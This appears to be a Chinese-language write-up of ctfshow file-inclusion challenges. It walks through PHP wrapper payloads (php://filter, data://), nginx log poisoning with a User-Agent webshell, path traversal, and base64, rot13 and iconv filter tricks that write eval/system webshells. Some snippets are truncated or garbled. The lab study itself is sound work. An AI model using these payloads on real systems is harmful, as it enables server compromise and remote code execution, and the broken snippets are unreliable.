ctfshow_文件包含
ctfshow_文件包含
CH0icoweb 78 php 协议
php://filter/read=convert.base64-encode/resource=flag.php
web 79 data 协议
/?file=data://text/plain,=system>("tac flag*");?>
web 80 日志包含
配合日志文件进行 getshell,日志会记录访问 UA 信息,修改 UA 信息为后门代码,包含即执行后门代码
抓包->查看中间件->是 nginx
抓包->将 UA 改为后门代码->forward
包含:var/log/nginx/access.log
1 | /?file=/var/log/nginx/access.log |
日志里会记录访问时间,访问者的 UA 信息->将 UA 信息改成后门代码->写入 log 文件(任何文件后缀都能被当作脚本去执行)
1 | User-Agent: <?php eval($_POST[c]);?> |
web 81 日志包含
响应头 server: nginx
默认日志文件位置: var/log/nginx/access.log
1 | POST /?file=/../../../var/log/nginx/access.log HTTP/1.1 |
web 82 SESSION 包含
过滤了点 用不了 log
可以参考 vweb39 或者利用 PHP_SESSION_UPLOAD_PROGRESS 进行文件包含
由于竞争环境需要晚上 11 点 30 分至次日 7 时 30 分之间做,其他时间不开放竞争条件
这里先不做了..
web 87 过滤器
1 | if(isset($_GET['file'])){ |
$file
为写入文件的路径,进行了一次 url 解码,而浏览器也要进行一次 url 解码
所以对输入的 payload 进行 2 次 url 编码就可以绕过过滤
exp1 base64
1 | file=php://filter/write=convert.base64-decode/resource=choco.php |
其中 content 是待写入的内容, 也就是:
1 | <?php die('大佬别秀了');?> $content |
伪协议会对 phpdie$content 进行解码 ($content 换成具体的值)
需要注意的是 phpdie 是六个字母, base64 是四位一次解码 所以补两个字母凑数 aaphpdie
因此
1 | // payload: $content=<?php system('ls')?> |
最终 payload
1 | // 写入<?php system('ls')?> 这里最后加分号会报错. |
exp1 rot13
思路跟 base64 大同小异
1 | php://filter/write=string.rot13/resource=choco.php |
1 | // 写入命令 |
web 88 data&base64 协议
1 | $file = $_GET['file']; |
过滤了~ ! @ # $ % ^ & * ( ) - _ + = .
没有过滤 data
1 | /?file=data://text/plain,<?=system('tac flag*');?> |
过滤了常见符号, 用 base64 绕过
1 | /?file=data://text/plain,base64,<base64_encode> |
因为不能出现 = , 可以在命令后加一些杂鱼消除这些符号(+和=) 斜杠不影响
注意 base64 前面是分号 不是逗号
base64_encode: 1
1 | # base64_encode: <?php system('ls')?>1 |
web 116
下载视频, hex 发现 png, BP 抓包访问 flag.php
web 117
1 | function filter($x){ |
exp
没有过滤 php 伪协议中的 convert.iconv 过滤器
convert.iconv 过滤器
和使用 iconv()函数处理流数据有等同作用
1 | <?php |
构造 payload: 在 choco.php 中写入 eval 函数
1 | /?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=choco.php |
触发 payload
1 | POST /choco.php HTTP/1.1 |